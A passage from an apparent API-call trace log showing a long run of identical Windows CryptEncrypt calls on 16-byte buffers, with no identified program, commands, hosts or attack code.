pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.047] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.047] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.047] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.047] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.047] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.047] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.048] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.048] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.048] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.048] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.048] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.048] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.048] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.048] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.048] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.048] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.048] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.048] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.048] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.048] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.048] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.048] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.048] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.048] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.048] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.048] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.048] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.048] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.049] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.049] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.049] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.049] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.049] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.049] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.049] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.049] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.049] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.049] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.049] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.049] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.049] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.049] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.049] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.049] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.049] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.049] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.049] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.049] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.049] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.049] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.049] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.050] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.050] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.050] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.050] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.050] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.050] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.050] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.050] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.050] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.050] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.050] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.050] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.050] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.050] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.050] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.050] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.050] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.050] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.050] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.050] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.050] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.050] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.051] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.051] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.051] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.051] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.051] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.051] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.051] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.051] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.051] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.051] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.051] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.051] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.051] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.051] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.051] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.051] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.051] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.051] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.051] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.051] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.051] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.051] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.051] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.052] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.052] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.052] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.052] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.052] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.052] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.052] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.052] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.052] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.052] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.052] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, 